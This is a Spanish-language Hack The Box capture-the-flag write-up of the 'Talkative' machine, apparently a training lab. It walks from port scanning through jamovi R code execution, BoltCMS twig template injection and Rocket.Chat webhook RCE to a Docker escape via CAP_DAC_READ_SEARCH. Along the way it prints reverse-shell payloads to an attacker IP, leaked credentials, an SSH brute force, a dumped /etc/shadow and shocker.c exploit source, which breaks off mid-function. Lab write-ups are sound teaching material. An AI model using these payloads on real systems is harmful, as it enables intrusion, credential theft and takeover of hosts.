Table of Contents
Hack The Box: Talkative Writeup
Welcome to my detailed writeup of the hard difficulty machine “Talkative” on Hack The Box. This writeup will cover the steps taken to achieve initial foothold and escalation to root.
TCP Enumeration
1$ rustscan -a 10.129.222.158 --ulimit 5000 -g
210.129.222.158 -> [80,8080,8081,8082]
1$ nmap -p80,8080,8081,8082 -sCV 10.129.222.158 -oN allPorts
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-06 20:02 CEST
3Nmap scan report for 10.129.222.158
4Host is up (0.037s latency).
5
6PORT STATE SERVICE VERSION
780/tcp open http Apache httpd 2.4.52
8|_http-server-header: Apache/2.4.52 (Debian)
9|_http-title: Did not follow redirect to http://talkative.htb
108080/tcp open http Tornado httpd 5.0
11|_http-title: jamovi
12|_http-server-header: TornadoServer/5.0
138081/tcp open http Tornado httpd 5.0
14|_http-server-header: TornadoServer/5.0
15|_http-title: 404: Not Found
168082/tcp open http Tornado httpd 5.0
17|_http-server-header: TornadoServer/5.0
18|_http-title: 404: Not Found
19Service Info: Host: 172.17.0.15
20
21Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
22Nmap done: 1 IP address (1 host up) scanned in 8.91 seconds
UDP Enumeration
1$ sudo nmap --top-ports 1500 -sU --min-rate 5000 -n -Pn 10.129.222.158 -oN allPorts.UDP
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-06 20:03 CEST
3Nmap scan report for 10.129.222.158
4Host is up (0.037s latency).
5Not shown: 1494 open|filtered udp ports (no-response)
6PORT STATE SERVICE
7959/udp closed unknown
81060/udp closed polestar
921566/udp closed unknown
1023585/udp closed unknown
1134433/udp closed unknown
1241058/udp closed unknown
13
14Nmap done: 1 IP address (1 host up) scanned in 0.82 seconds
HTTP Enumeration
Encontramos un dominio, talkative.htb
y detectamos 4 servicios web.
80/TCP
, 8080/TCP
, 8081/TCP
, 8082/TCP
Enumerando los servicios HTTP podemos encontrar varios posibles usuarios.
- Matt Williams
- Janit Smith
- Saul Goodman
HTML Injection
Encuentro este punto que es vulnerable a inyección HTML. Pero no he conseguido cargar scripts maliciosos, me lo apunto por si mas adelante hace falta.
Tambien fuzzeando parece que tiene una especie de Rate Limiter por lo cual hace mas complicado el reconocimiento.
También encontramos un formulario, que tras inspeccionar el código no he visto la etiqueta <form>
, al intentar enviarlo salta lo siguiente.
En la página se ofrecen servicios de mensajería, SMS, chat… Por lo cual voy a apuntarme los correos electrónicos por si los necesito.
Discovering BoltCMS
Analizando las cabeceras encontramos que probablemente exista un BoltCMS detrás. Y además encontrado un recurso /api/docs.json
que nos muestra varios endpoints.
Probando algunas rutas de estos endpoints, fui redireccionado al panel de BoltCMS
Existen varias vulnerabilidades asociadas a BoltCMS. Por lo cual probablemente tenga que buscar la forma de poder iniciar sesión.
Abusing Jamovi | Container 1 Foothold
Vemos por el puerto 8080 un servicio jamovi
el cual tiene una vulnerabilidad XSS asociada, y casualmente el mensaje de “bienvenida” es realizando un aviso de seguridad. Revisando el CVE-2021-28079 vemos que este XSS se basa en la explotación de un fallo en ElectronJS, por lo cual podríamos fabricar un document .omv que contenta un payload y cuando sea abierto por la víctima, podremos conseguir ejecución de comandos.
Re-leyendo los mensajes de la página principal, quiero pensar que van por aquí los tiros.
Podemos ver incluso la raíz del sistema de la máquina que está hosteando esta instancia de jamovi.
Aunque esta instancia tiene instalado el módulo Rj - Editor
por lo cual podemos ejecutar código en R
En este post podemos ver como ejecutar comandos a nivel de sistema en R
Nos podemos poner en escucha con netcat
1$ sudo rlwrap -cEr nc -lvnp 443
2listening on [any] 443 ...
Y con el siguiente payload ganar acceso
1system2("echo", "L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjkxLzQ0MyAwPiYx|base64 -d|bash", stdout = TRUE, stderr = TRUE)
Y podemos ver que ganamos acceso como root
a un contenedor.
1$ sudo rlwrap -cEr nc -lvnp 443
2listening on [any] 443 ...
3connect to [10.10.14.91] from (UNKNOWN) [10.129.222.158] 56386
4bash: cannot set terminal process group (1): Inappropriate ioctl for device
5bash: no job control in this shell
6root@b06821bbda78:/# whoami
7whoami
8root
9root@b06821bbda78:/# ip a
10ip a
11bash: ip: command not found
12root@b06821bbda78:/# ifconfig
13ifconfig
14bash: ifconfig: command not found
15root@b06821bbda78:/# hostname -I
16hostname -I
17172.18.0.2
18root@b06821bbda78:/#
Information Leakage
Encontramos en el directorio /root
un archivo bolt-administration.omv
1root@b06821bbda78:~# ls -la
2ls -la
3total 32
4drwx------ 1 root root 4096 Mar 7 2022 .
5drwxr-xr-x 1 root root 4096 Mar 7 2022 ..
6lrwxrwxrwx 1 root root 9 Mar 7 2022 .bash_history -> /dev/null
7-rw-r--r-- 1 root root 3106 Oct 22 2015 .bashrc
8drwxr-xr-x 3 root root 4096 Aug 6 16:47 .jamovi
9-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
10drwxrwxrwx 1 root root 4096 Aug 6 16:45 Documents
11-rw-r--r-- 1 root root 2192 Aug 15 2021 bolt-administration.omv
Nos podemos pasar este archivo a nuestra máquina codificándolo en base64 y en nuestra máquina decodificándolo y luego con md5sum
comprobar la integridad del archivo
1root@b06821bbda78:~# md5sum bolt*
2md5sum bolt*
389a471297760280c51d7a48246f95628 bolt-administration.omv
1$ md5sum bolt-administration.omv
289a471297760280c51d7a48246f95628 bolt-administration.omv
Con file
nos reporta que es un archivo JAR
Por lo cual podemos descomprimirlo y echarle un vistazo
1$ unzip bolt-administration.omv
2Archive: bolt-administration.omv
3 inflating: META-INF/MANIFEST.MF
4 inflating: meta
5 inflating: index.html
6 inflating: metadata.json
7 inflating: xdata.json
8 inflating: data.bin
9 inflating: 01 empty/analysis
Encontramos un archivo xdata.json
1{
2 "A": {
3 "labels": [
4 [
5 0,
6 "Username",
7 "Username",
8 false
9 ],
10 [
11 1,
12 "matt@talkative.htb",
13 "matt@talkative.htb",
14 false
15 ],
16 [
17 2,
18 "janit@talkative.htb",
19 "janit@talkative.htb",
20 false
21 ],
22 [
23 3,
24 "saul@talkative.htb",
25 "saul@talkative.htb",
26 false
27 ]
28 ]
29 },
30 "B": {
31 "labels": [
32 [
33 0,
34 "Password",
35 "Password",
36 false
37 ],
38 [
39 1,
40 "jeO09ufhWD<s",
41 "jeO09ufhWD<s",
42 false
43 ],
44 [
45 2,
46 "bZ89h}V<S_DA",
47 "bZ89h}V<S_DA",
48 false
49 ],
50 [
51 3,
52 ")SQWGm>9KHEA",
53 ")SQWGm>9KHEA",
54 false
55 ]
56 ]
57 },
58 "C": {
59 "labels": []
60 }
61}
Abusing BoltCMS | Docker Container 2
Ahora que tenemos credenciales podemos intentar iniciar sesión en el BoltCMS
Probando con admin:bZ89h}V<S_DA
consigo iniciar sesión.
Siguiendo este artículo de HackTricks
Puedo fijarme en el tema actual que esté en uso, e intentar editarlo para siguiendo el formato en .twig, ejecutar comandos en el sistema de forma remota.
El tema es base-2021
Editamos la plantilla y añadimos nuestro payload..
Ahora nos dirigimos a Maintenance -> Clear the Cache
Y si nos ponemos en escucha con netcat
y recargamos la página inicial…
1$ sudo rlwrap -cEr nc -lvnp 443
2listening on [any] 443 ...
3connect to [10.10.14.91] from (UNKNOWN) [10.129.222.158] 44350
4bash: cannot set terminal process group (1): Inappropriate ioctl for device
5bash: no job control in this shell
6www-data@6d4489211cb5:/var/www/talkative.htb/bolt/public$ hostname -I
7hostname -I
8172.17.0.15
9www-data@6d4489211cb5:/var/www/talkative.htb/bolt/public$
En esta máquina no encontramos nada importante, además que no consigo escalar a root
Escaping the Container | Network Reconnaissance
Podemos hacer un one-liner en bash para escanear nuestro entorno
1for i in {1..254}; do timeout 1 bash -c "echo >/dev/tcp/172.17.0.$i/80" 2>/dev/null && echo "Host 172.17.0.$i is up"; done
Nos reporta una gran lista.
1Host 172.17.0.1 is up
2Host 172.17.0.2 is up
3Host 172.17.0.3 is up
4Host 172.17.0.4 is up
5Host 172.17.0.5 is up
6Host 172.17.0.6 is up
7Host 172.17.0.7 is up
8Host 172.17.0.8 is up
9Host 172.17.0.9 is up
10Host 172.17.0.10 is up
11Host 172.17.0.11 is up
12
13Host 172.17.0.12 is up
14Host 172.17.0.13 is up
15Host 172.17.0.14 is up
16Host 172.17.0.15 is up
17Host 172.17.0.16 is up
18Host 172.17.0.17 is up
19Host 172.17.0.18 is up
20Host 172.17.0.19 is up
Podemos crearnos un pequeño escáner de puertos.
1#!/usr/bin/env bash
2IP="$1"; for port in $(seq 1 65535); do (echo '.' >/dev/tcp/$IP/$port && echo "OPEN: $port" &) 2>/dev/null; done
(Estoy utilizando pwncat-cs
de ahí el formato de la shell)
1(remote) www-data@6d4489211cb5:/tmp$ ./portscan.sh 172.17.0.1
2OPEN: 22
3OPEN: 80
4OPEN: 6000
5OPEN: 6001
6OPEN: 6002
7OPEN: 6003
8OPEN: 6004
9OPEN: 6005
10OPEN: 6006
11OPEN: 6007
12OPEN: 6008
13OPEN: 6009
14OPEN: 6010
15OPEN: 6011
16OPEN: 6012
17OPEN: 6013
18OPEN: 6014
19OPEN: 6015
20OPEN: 8080
21OPEN: 8081
22OPEN: 8082
Vemos que está abierto el puerto 22/TCP (SSH) cosa que no está de forma externa en la máquina 172.17.0.1, que supongo que será la máquina víctima.
Reverse Port Forwarding
Para trabajar de forma cómoda y poder utilizar hydra
para hacer un ataque por diccionario. Voy a utilizar chisel
para hacer reverse port-forwarding.
Para ello, con pwncat-cs
(lo estoy probando :) ) nos compartimos el chisel
En nuestro equipo nos ponemos en escucha con chisel
por el puerto 1234
1$ sudo /opt/chisel/chisel server --reverse -p 1234
Importante tener permisos de root
para esto ya que vamos a utilizar el puerto local 22, y para ello se necesita permisos de superusuario (hasta el puerto 1024)
Ahora en la máquina víctima..
1(remote) www-data@6d4489211cb5:/tmp$ ./chisel client 10.10.14.91:1234 R:22:172.17.0.1:22
Ahora podemos comprobar en nuestra máquina de atacante, que nuestro puerto local 22 es el puerto 22 de la máquina 172.17.0.1.
1$ nmap -p22 127.0.0.1 -sCV
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-06 21:56 CEST
3Nmap scan report for localhost (127.0.0.1)
4Host is up (0.00020s latency).
5
6PORT STATE SERVICE VERSION
722/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
8| ssh-hostkey:
9| 3072 9c:86:6a:02:bf:45:06:52:6c:29:1d:a0:4e:9e:4a:df (RSA)
10| 256 98:3e:0d:0c:17:d3:2d:98:5f:a2:89:0c:b6:22:9b:33 (ECDSA)
11|_ 256 03:51:c3:e8:7a:b3:6e:c6:0c:67:50:ef:b0:b4:e0:37 (ED25519)
12Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Foothold
Ahora con hydra
podemos hacer un ataque por diccionario y…
1$ hydra -L users.txt -P passwords.txt 127.0.0.1 ssh -t 4 -I -V
2Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
3
4Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-08-06 21:57:55
5[DATA] max 4 tasks per 1 server, overall 4 tasks, 21 login tries (l:7/p:3), ~6 tries per task
6[DATA] attacking ssh://127.0.0.1:22/
7[ATTEMPT] target 127.0.0.1 - login "janit" - pass "jeO09ufhWD<s" - 1 of 21 [child 0] (0/0)
8[ATTEMPT] target 127.0.0.1 - login "janit" - pass "bZ89h}V<S_DA" - 2 of 21 [child 1] (0/0)
9[ATTEMPT] target 127.0.0.1 - login "janit" - pass ")SQWGm>9KHEA" - 3 of 21 [child 2] (0/0)
10[ATTEMPT] target 127.0.0.1 - login "saul" - pass "jeO09ufhWD<s" - 4 of 21 [child 3] (0/0)
11[22][ssh] host: 127.0.0.1 login: saul password: jeO09ufhWD<s
Podemos iniciar sesión en la máquina víctima utilizando el combo ``saul:jeO09ufhWD<s`.
1$ sshpass -p 'jeO09ufhWD<s' ssh saul@127.0.0.1
2Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-81-generic x86_64)
3
4 * Documentation: https://help.ubuntu.com
5 * Management: https://landscape.canonical.com
6 * Support: https://ubuntu.com/advantage
7
8 System information as of Tue 06 Aug 2024 06:01:21 PM UTC
9
10 System load: 0.0
11 Usage of /: 73.2% of 8.80GB
12 Memory usage: 56%
13 Swap usage: 30%
14 Processes: 391
15 Users logged in: 0
16 IPv4 address for br-ea74c394a147: 172.18.0.1
17 IPv4 address for docker0: 172.17.0.1
18 IPv4 address for eth0: 10.129.222.158
19 IPv6 address for eth0: dead:beef::250:56ff:fe94:f20
20
21
2218 updates can be applied immediately.
238 of these updates are standard security updates.
24To see these additional updates run: apt list --upgradable
25
26
27The list of available updates is more than a week old.
28To check for new updates run: sudo apt update
29Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
30
31
32Last login: Tue Aug 6 18:01:02 2024 from 172.17.0.15
33saul@talkative:~$ whoami
34saul
Recordad que tenemos que iniciar sesión contra la 127.0.0.1:22 ya que por el reverse port-forwarding, este puerto corresponde al puerto 22 de la máquina 172.17.0.1 cuyo servicio SSH no estaba expuesto hacia el exterior.
1saul@talkative:~$ ifconfig eth0
2eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
3 inet 10.129.222.158 netmask 255.255.0.0 broadcast 10.129.255.255
4 inet6 dead:beef::250:56ff:fe94:f20 prefixlen 64 scopeid 0x0<global>
5 inet6 fe80::250:56ff:fe94:f20 prefixlen 64 scopeid 0x20<link>
6 ether 00:50:56:94:0f:20 txqueuelen 1000 (Ethernet)
7 RX packets 146752 bytes 24721297 (24.7 MB)
8 RX errors 0 dropped 0 overruns 0 frame 0
9 TX packets 119348 bytes 68665418 (68.6 MB)
10 TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Podemos comprobar que estamos en la máquina víctima.
1saul@talkative:~$ cat user.txt
256a0d2ba1f6e9e72...
Y ya podríamos ver la flag..
Privilege Escalation
1saul@talkative:/home$ cat /etc/passwd | grep bash
2root:x:0:0:root:/root:/bin/bash
3saul:x:1000:1000:Saul,,,:/home/saul:/bin/bash
Somos el único usuario en el sistema a parte de root
, así que supongo que no va a ser necesario migrar de usuario para conseguir la escalada de privilegios.
Una cosa curiosa, es que hay muchas interfaces de red sobre Docker. Así que podríamos intentar enumerar los servicios de docker a ver si encontramos algún contenedor interesante.
Primero vamos a detectar que hosts están activos en el Docker
1for i in {1..254}; do ping -c 1 -W 1 172.17.0.$i &> /dev/null && echo "Host 172.17.0.$i is up"; done
2
3Host 172.17.0.1 is up
4Host 172.17.0.2 is up
5Host 172.17.0.3 is up
6Host 172.17.0.4 is up
7Host 172.17.0.5 is up
8Host 172.17.0.6 is up
9Host 172.17.0.7 is up
10Host 172.17.0.8 is up
11Host 172.17.0.9 is up
12Host 172.17.0.10 is up
13Host 172.17.0.11 is up
14Host 172.17.0.12 is up
15Host 172.17.0.13 is up
16Host 172.17.0.14 is up
17Host 172.17.0.15 is up
18Host 172.17.0.16 is up
19Host 172.17.0.17 is up
20Host 172.17.0.18 is up
21Host 172.17.0.19 is up
Y todos son los hosts que habíamos detectado anteriormente. Como son bastantes, voy a ir enumerando que puertos tienen abiertos uno a uno. (Excepto el 172.17.0.1 ya que es la máquina víctima)
Me interesa este puerto, ya que suele pertenecer a una base de datos MongoDB
, en muchas de estas base de datos puedes hacer consultas sin necesidad de estar autenticado.
1saul@talkative:/tmp$ ./portscan.sh 172.17.0.2
2OPEN: 27017
La otra mayoría de máquinas tienen solo abierto el puerto 80 y no contiene nada al hacer un curl
Reverse Port Forwarding
Así que para analizar este puerto mas a fondo, vamos a hacer otro reverse port-forwarding.
Pero esta vez no necesitamos chisel
ya que tenemos la conexión por SSH.
Esta vez, el port-forwarding no lo va a empezar la máquina dentro del contendor, si no la máquina anfitriona, ya que queremos exponer el puerto 27017 de un contenedor hacia nuestra máquina.
No sé si se entenderá pero os dejo un pequeño esquema.
Hacemos el port-forwarding..
1$ sshpass -p 'jeO09ufhWD<s' ssh -L 127.0.0.1:27017:172.17.0.2:27017 saul@127.0.0.1
Y vemos que efectivamente, este servicio corresponde a una base de datos MongoDB
1$ nmap -p 27017 127.0.0.1 -sCV
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-06 22:20 CEST
3Nmap scan report for localhost (127.0.0.1)
4Host is up (0.00018s latency).
5
6PORT STATE SERVICE VERSION
727017/tcp open mongodb MongoDB 4.0.26 4.0.26
8...
Enumerating MongoDB
Ahora podemos instalar mongosh
, he tomado de referencia esta publicación
1$ mongosh mongodb://127.0.0.1:27017
2Current Mongosh Log ID: 66b286cfb47184f885838725
3Connecting to: mongodb://127.0.0.1:27017/?directConnection=true&serverSelectionTimeoutMS=2000&appName=mongosh+2.2.15
4Using MongoDB: 4.0.26
5Using Mongosh: 2.2.15
6
7For mongosh info see: https://docs.mongodb.com/mongodb-shell/
8
9------
10 The server generated these startup warnings when booting
11 2024-08-06T16:01:00.220+0000:
12 2024-08-06T16:01:00.220+0000: ** WARNING: Using the XFS filesystem is strongly recommended with the WiredTiger storage engine
13 2024-08-06T16:01:00.220+0000: ** See http://dochub.mongodb.org/core/prodnotes-filesystem
14 2024-08-06T16:01:01.206+0000:
15 2024-08-06T16:01:01.207+0000: ** WARNING: Access control is not enabled for the database.
16 2024-08-06T16:01:01.207+0000: ** Read and write access to data and configuration is unrestricted.
17 2024-08-06T16:01:01.207+0000:
18------
19
20rs0 [direct: primary] test>
Y sin necesidad de autenticarnos, podemos enumerar la base de datos.
Vemos que hay tablas asociadas a una aplicación llamada rocketchat
. De esta aplicación se hablaba en la página principal, además, rocketchat
utiliza meteor.js
, bonito juego de palabras…
rs0 [direct: primary] test> show databases
admin 104.00 KiB
config 124.00 KiB
local 11.37 MiB
meteor 4.64 MiB
rs0 [direct: primary] test> use meteor
switched to db meteor
rs0 [direct: primary] meteor> show collections
_raix_push_app_tokens
_raix_push_notifications
instances
meteor_accounts_loginServiceConfiguration
meteor_oauth_pendingCredentials
meteor_oauth_pendingRequestTokens
migrations
rocketchat__trash
rocketchat_apps
rocketchat_apps_logs
rocketchat_apps_persistence
rocketchat_avatars
rocketchat_avatars.chunks
rocketchat_avatars.files
rocketchat_credential_tokens
rocketchat_cron_history
rocketchat_custom_emoji
rocketchat_custom_sounds
rocketchat_custom_user_status
rocketchat_export_operations
rocketchat_federation_dns_cache
rocketchat_federation_keys
rocketchat_federation_room_events
rocketchat_federation_servers
rocketchat_import
rocketchat_integration_history
rocketchat_integrations
rocketchat_invites
rocketchat_livechat_agent_activity
rocketchat_livechat_custom_field
rocketchat_livechat_department
rocketchat_livechat_department_agents
rocketchat_livechat_external_message
rocketchat_livechat_inquiry
rocketchat_livechat_office_hour
rocketchat_livechat_page_visited
rocketchat_livechat_trigger
rocketchat_livechat_visitor
rocketchat_message
rocketchat_message_read_receipt
rocketchat_oauth_apps
rocketchat_oembed_cache
rocketchat_permissions
rocketchat_reports
rocketchat_roles
rocketchat_room
rocketchat_sessions
rocketchat_settings
rocketchat_smarsh_history
rocketchat_statistics
rocketchat_subscription
rocketchat_uploads
rocketchat_user_data_files
rocketchat_webdav_accounts
ufsTokens
users
usersSessions
view_livechat_queue_status [view]
system.views
rs0 [direct: primary] meteor>
Creating RocketChat admin Account
Vale, ahora podría modificar la base de datos de rocketchat
para poder crear una cuenta de administrador, o intentar crackear los hashes de usuarios pero… una pregunta… ¿Dónde está este rocketchat
?
Después de volverme loco un rato, escaneé otra vez los puertos por TCP y…
Supongo que realicé el escaneo inicial de puertos demasiado rápido y no dejé tiempo a iniciar la máquina.
db.users.find()
1[
2 {
3 "_id": "rocket.cat",
4 "createdAt": ISODate("2021-08-10T19:44:00.224Z"),
5 "avatarOrigin": "local",
6 "name": "Rocket.Cat",
7 "username": "rocket.cat",
8 "status": "online",
9 "statusDefault": "online",
10 "utcOffset": 0,
11 "active": true,
12 "type": "bot",
13 "_updatedAt": ISODate("2021-08-10T19:44:00.615Z"),
14 "roles": [ "bot" ]
15 },
16 {
17 "_id": "ZLMid6a4h5YEosPQi",
18 "createdAt": ISODate("2021-08-10T19:49:48.673Z"),
19 "services": {
20 "password": {
21 "bcrypt": "$2b$10$jzSWpBq.eJ/yn/Pdq6ilB.UO/kXHB1O2A.b2yooGebUbh69NIUu5y"
22 },
23 "email": {
24 "verificationTokens": [
25 {
26 "token": "dgATW2cAcF3adLfJA86ppQXrn1vt6omBarI8VrGMI6w",
27 "address": "saul@talkative.htb",
28 "when": ISODate("2021-08-10T19:49:48.738Z")
29 }
30 ]
31 },
32 "resume": { loginTokens: [] }
33 },
34 "emails": [ { address: "saul@talkative.htb", verified: false } ],
35 "type": "user",
36 "status": "offline",
37 "active": true,
38 "_updatedAt": ISODate("2024-08-06T16:12:04.633Z"),
39 "roles": [ "admin" ],
40 "name": "Saul Goodman",
41 "lastLogin": ISODate("2022-03-15T17:06:56.543Z"),
42 "statusConnection": "offline",
43 "username": "admin",
44 "utcOffset": 0
45 }
46]
Antes que ponerme a crackear los hashes, hay una cuenta rocket.cat
que tiene el rol de bot
. Lo tendré en cuenta.
Y para qué romper el hash si puedo crearme una cuenta de administrador ya que controlo la base de datos.
Primero nos creamos una cuenta de usuario..
Y ahora podemos comprobar en la base de datos que se ha creado mi cuenta correctamente.
emails: [ { address: "pointed@talkative.htb", verified: false } ],
type: "user",
status: "online",
active: true,
_updatedAt: ISODate("2024-08-06T18:38:40.311Z"),
roles: [ "user" ],
name: "pointed",
lastLogin: ISODate("2024-08-06T18:38:36.002Z"),
statusConnection: "online",
utcOffset: 2,
username: "pointed"
Y ahora solo habría que cambiar el cambio roles
y añadir admin
que es lo que tiene el usuario saul
. Quiero pensar que así me convertiré en administrador de este servicio.
1db.users.update({"_id": "7i6rDHBTt3DLyLLjF"}, { $set: { "roles" : ["admin"]}})
Asignamos el rol de admin
a mi ID de usuario.
Ahora podemos comprobar que esto a funcionado, aunque vemos el campo modifiedCount: 1
nunca está de mas comprobarlo.
...
emails: [ { address: 'pointed@talkative.htb', verified: false } ],
type: 'user',
status: 'online',
active: true,
_updatedAt: ISODate('2024-08-06T18:38:40.311Z'),
roles: [ 'admin' ],
name: 'pointed',
lastLogin: ISODate('2024-08-06T18:38:36.002Z'),
statusConnection: 'online',
utcOffset: 2,
username: 'pointed'
...
Y ahora podemos acceder al recurso /admin
así que esto a funcionado.
Foothold in Container 3
Ahora, siguiendo este post de HackTricks podemos conseguir RCE creando un WebHook y estableciendo un script malicioso que se ejecutará en la máquina víctima.
Nos dirigimos a Integrations
-> New Integration
-> Incoming WebHook
Rellenamos los datos que se nos pide.
Y en el apartado de Script Enabled
, seleccionamos True
y establecemos el script que se ejecutará cuando se reciba una petición al WebHook.
1const require = console.log.constructor('return process.mainModule.require')();
2const { exec } = require('child_process');
3exec("bash -c 'bash -i >& /dev/tcp/10.10.14.91/443 0>&1'")
Le damos a Save changes
.
Y se nos genera una URL para poder utilizar el webhook que hemos creado.
Ahora si nos ponemos en escucha por el puerto 443.
1$ sudo pwncat-cs -lp 443
Y en el navegador abrimos la URL que nos ha dado (http://talkative.htb:3000/hooks/MKurWc9BYP8GQvs6v/F9cdMw7hYiRYBH7A75cpehnkszDJnYo7AbsAkQdvHtWgAjEf)
Vemos que recibimos la sesión.
[22:47:55] received connection from 10.129.222.158:60628 bind.py:84
[22:47:57] 10.129.222.158:60628: registered new host w/ db
1(remote) root@c150397ccd63:/app/bundle/programs/server# whoami
2root
3(remote) root@c150397ccd63:/app/bundle/programs/server# hostname -I
4172.17.0.3
Vamos a subir el linpeas.sh
ya que no encuentro nada interesante en este contenedor, ningún archivo, ni credencial…
/tmp/linpeas.sh ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100.0% • 862.8/862.8 KB • ? • 0:00:00
[22:54:10] uploaded 862.78KiB in 2.27 seconds
No encuentro nada interesante. Así que vamos a ejecutar cdk , una herramienta para enumerar vías para escalar privilegios en contenedores docker.
Subimos el cdk
al contenedor..
(local) pwncat$ upload cdk /tmp/cdk
/tmp/cdk ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100.0% • 12.0/12.0 MB • 2.3 MB/s • 0:00:00
[23:03:22] uploaded 12.02MiB in 6.39 seconds
Con cdk
realizamos un escaneo inicial, a ver si detecta algo.
(remote) root@c150397ccd63:/tmp# ./cdk evaluate --full
¡Y encontramos algo!
Tenemos una capability, CAP_DAC_READ_SEARCH
con la cual podríamos leer archivos de la máquina anfitriona.
cdk
nos aconseja que podríamos leer los archivos del host utilizando cdk run cap-dac-read-search
1./cdk run cap-dac-read-search
2Running with target: /etc/shadow, ref: /etc/hostname
3root:$6$9GrOpvcijuCP93rg$tkcyh.ZwH5w9AHrm66awD9nLzMHv32QqZYGiIfuLow4V1PBkY0xsKoyZnM3.AI.yGWfFLOFDSKsIR9XnKLbIY1:19066:0:99999:7:::
4daemon:*:18659:0:99999:7:::
5bin:*:18659:0:99999:7:::
6sys:*:18659:0:99999:7:::
7sync:*:18659:0:99999:7:::
8games:*:18659:0:99999:7:::
9man:*:18659:0:99999:7:::
10lp:*:18659:0:99999:7:::
11mail:*:18659:0:99999:7:::
12news:*:18659:0:99999:7:::
13uucp:*:18659:0:99999:7:::
14proxy:*:18659:0:99999:7:::
15www-data:*:18659:0:99999:7:::
16backup:*:18659:0:99999:7:::
17list:*:18659:0:99999:7:::
18irc:*:18659:0:99999:7:::
19gnats:*:18659:0:99999:7:::
20nobody:*:18659:0:99999:7:::
21systemd-network:*:18659:0:99999:7:::
22systemd-resolve:*:18659:0:99999:7:::
23systemd-timesync:*:18659:0:99999:7:::
24messagebus:*:18659:0:99999:7:::
25syslog:*:18659:0:99999:7:::
26_apt:*:18659:0:99999:7:::
27tss:*:18659:0:99999:7:::
28uuidd:*:18659:0:99999:7:::
29tcpdump:*:18659:0:99999:7:::
30landscape:*:18659:0:99999:7:::
31pollinate:*:18659:0:99999:7:::
32usbmux:*:18849:0:99999:7:::
33sshd:*:18849:0:99999:7:::
34systemd-coredump:!!:18849::::::
35lxd:!:18849::::::
36saul:$6$19rUyMaBLt7.CDGj$ik84VX1CUhhuiMHxq8hSMjKTDMxHt.ldQC15vFyupafquVyonyyb3/S6MO59tnJHP9vI5GMvbE9T4TFeeeKyg1:19058:0:99999:7:::
Y efectivamente, es vulnerable.
Pero como cdk
te automatiza la explotación, no se podría utilizar en el OSCP.
¡Así que vamos a explotarlo manualmente!
Abusing CAP_DAC_READ_SEARCH
Podemos utilizar un exploit de openwall llamado shocker.c
y modificarlo para conseguir lo que queramos.
https://tbhaxor.com/container-breakout-part-2/
https://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-capabilities
1#include <stdio.h>
2#include <sys/types.h>
3#include <sys/stat.h>
4#include <fcntl.h>
5#include <errno.h>
6#include <stdlib.h>
7#include <string.h>
8#include <unistd.h>
9#include <dirent.h>
10#include <stdint.h>
11
12// gcc shocker.c -o shocker
13// ./socker /etc/shadow shadow #Read /etc/shadow from host and save result in shadow file in current dir
14
15struct my_file_handle {
16 unsigned int handle_bytes;
17 int handle_type;
18 unsigned char f_handle[8];
19};
20
21void die(const char *msg)
22{
23 perror(msg);
24 exit(errno);
25}
26
27void dump_handle(const struct my_file_handle *h)
28{
29 fprintf(stderr,"[*] #=%d, %d, char nh[] = {", h->handle_bytes,
30 h->handle_type);
31 for (int i = 0; i < h->handle_bytes; ++i) {
32 fprintf(stderr,"0x%02x", h->f_handle[i]);
33 if ((i + 1) % 20 == 0)
34 fprintf(stderr,"\n");
35 if (i < h->handle_bytes - 1)
36 fprintf(stderr,", ");
37 }
38 fprintf(stderr,"};\n");
39}
40
41int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle
42*oh)
43{
44 int fd;
45 uint32_t ino = 0;
46 struct my_file_handle outh = {
47 .handle_bytes = 8,
48 .handle_type = 1
49 };
50 DIR *dir = NULL;
51 struct dirent *de = NULL;
52 path = strchr(path, '/');
53 // recursion stops if path has been resolved
54 if (!path) {
55 memcpy(oh->f_handle, ih->f_handle, sizeof(oh->f_handle));
56 oh->handle_type = 1;
57 oh->handle_bytes = 8;
58 return 1;
59 }
60
61 ++path;
62 fprintf(stderr, "[*] Resolving '%s'\n", path);
63 if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0)
64 die("[-] open_by_handle_at");
65 if ((dir = fdopendir(fd)) == NULL)
66 die("[-] fdopendir");
67 for (;;) {
68 de = readdir(dir);
69 if (!de)
70 break;
71 fprintf(stderr, "[*] Found %s\n", de->d_name);
72 if (strncmp(de->d_name, path, strlen(de->d_name)) == 0) {
73 fprintf(stderr, "[+] Match: %s ino=%d\n", de->d_name, (int)de->d_ino);
74 ino = de->d_ino;
75 break;
76 }
77 }
78
79 fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
80 if (de) {
81 for (uint32_t i = 0; i < 0xffffffff; ++i) {
82 outh.handle_bytes = 8;
83 outh.handle_type = 1;
84 memcpy(outh.f_handle, &ino, sizeof(ino));
85 memcpy(outh.f_handle + 4, &i, sizeof(i));
86 if ((i % (1<<20)) == 0)
87 fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de->d_name, i);
88 if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0) {
89 closedir(dir);
90 close(fd);
91 dump_handle(&outh);
92 return find_handle(bfd, path, &outh, oh);
93 }
94 }
95 }
96 closedir(dir);
97 close(fd);
98 return 0;
99}
100
101
102int main(int argc,char* argv[] )
103{
104 char buf[0x1000];
